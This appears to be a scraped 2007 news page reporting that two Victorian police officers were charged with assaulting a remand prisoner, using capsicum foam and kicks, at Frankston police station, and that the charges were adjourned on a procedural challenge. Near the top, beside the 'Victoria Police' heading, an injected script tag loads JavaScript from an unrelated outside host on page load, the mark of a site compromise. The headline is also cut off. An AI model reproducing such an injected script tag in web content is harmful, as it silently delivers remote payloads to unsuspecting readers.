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NEWS > 31 May 2007

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 Article sourced from

Victoria Police<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
The Age - Melbourne,Victoria,A
31 May 2007
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Victoria Police

Police officers to contest ass

Two Victorian police officers will contest the legality of being charged with assaulting a remand prisoner in a cell.

Sergeant Lisa Blick and Senior Constable Nicholas Caldwell are alleged to have assaulted a man who was arrested for being drunk in a public place.

Melbourne Magistrates Court heard today that Blick assaulted the man with capsicum foam and Caldwell kicked him.

Prosecutor John Sutton told the court the man was lodged in a cell at Frankston police station after his arrest on February 10 last year.

Mr Sutton said the area was covered by a closed circuit television camera.

He said that while Blick and Caldwell conversed for about three minutes with the prisoner, he rested an arm on the open flap to the cell door.

It was alleged that after Caldwell tried to shut the door he delivered four kicks while the man's arm was trapped between a flap and the door.

Mr Sutton said in his summary that Blick sprayed foam into his face and then he was given a garden hose to wash his face.

Later, after Blick and a Senior Sergeant spoke to the man, she again used the capsicum foam and was given the hose to rinse his face, he said.

Mr Sutton said both defendants declined to make statements or participate in a record of interview with the Office of Police Integrity.

In a "use of force" form completed by Blick following the incident, she claimed she first used the foam because the prisoner was "thrashing" his arms and trying to grab police.

But Mr Sutton said the CCT footage did not indicate that this was correct.

Defence lawyer Tony Hargreaves told the court it would be argued, before any contested hearing was held, that the summonses issued against each defendant were served outside the 14-day limit before a first mention hearing of the case.

Mr Hargreaves said the alleged facts were also disputed by his clients and that any ultimate hearing would last possibly six days and involve 21 witnesses who were mostly police members.

Deputy chief magistrate Dan Muling adjourned the legal argument until September and booked a possible contested hearing for October.

Blick is charged with two counts of common assault and two counts of assault with a weapon while Caldwell faces charges of assault and assault by kicking.

Both are suspended with pay.
 

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